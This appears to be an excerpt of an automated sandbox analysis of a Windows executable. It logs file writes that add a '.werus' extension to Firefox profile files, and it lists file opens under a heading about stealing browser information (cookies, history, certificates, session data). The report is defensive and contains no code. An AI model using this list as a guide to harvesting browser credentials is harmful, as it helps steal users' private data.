Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840708.3c7034d6-bc52-43bb-9a23-5da34ee205e0.health.jsonlz4.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840727.01c0ecdb-8e59-4210-95f1-0fd0406e84ad.event.jsonlz4.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840727.86be03dd-6b03-42f5-89cd-4606f43d25ad.health.jsonlz4.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840748.a8c1f564-c2e2-4ef8-a85f-52a56488f193.main.jsonlz4.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\events\background-update.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\events\events.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\43bb9a55-74a2-452e-8233-6899a7f737b0.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\7755ad51-2370-4623-9d21-15c89f2143db.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\ae04dde8-69a1-49f8-95f1-d533ed587ff6.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\b8f053a5-de16-4a2c-8120-1ab4aadd63e8.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\saved-telemetry-pings\3c7034d6-bc52-43bb-9a23-5da34ee205e0.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\saved-telemetry-pings\a83301c6-790b-49f3-adc7-55a855f7fe79.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\ls-archive.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\.metadata-v2.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-wal.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-wal.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-wal.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-wal.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-wal.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shm.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-wal.werus	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\times.json.werus	Jump to behavior

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835635.a669692a-f9c9-42c0-a803-7b87d3ff5834.new-profile.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\b8f053a5-de16-4a2c-8120-1ab4aadd63e8	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\to-be-removed\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840727.01c0ecdb-8e59-4210-95f1-0fd0406e84ad.event.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\search.json.mozlz4	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\tmp	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\AlternateServices.txt	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840708.3c7034d6-bc52-43bb-9a23-5da34ee205e0.health.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\previous.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\security_state	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\bookmarkbackups\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\db\data.safe.bin	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\saved-telemetry-pings\3c7034d6-bc52-43bb-9a23-5da34ee205e0	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\default	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\to-be-removed	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835647.a83301c6-790b-49f3-adc7-55a855f7fe79.main.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\default\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\events\events	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\targeting.snapshot.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\tmp\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\saved-telemetry-pings\a83301c6-790b-49f3-adc7-55a855f7fe79	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\events	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\.metadata-v2	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\saved-telemetry-pings\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\security_state\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\temporary\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\ls-archive.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\containers.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\handlers.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extension-preferences.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\minidumps\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\db\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\pkcs11.txt	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\43bb9a55-74a2-452e-8233-6899a7f737b0	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835649.b06d08be-79e8-4bfe-b6aa-988ea3d35cbd.first-shutdown.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\db	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\events	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840748.a8c1f564-c2e2-4ef8-a85f-52a56488f193.main.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\temporary	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\minidumps	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\parent.lock	Jump to behavior
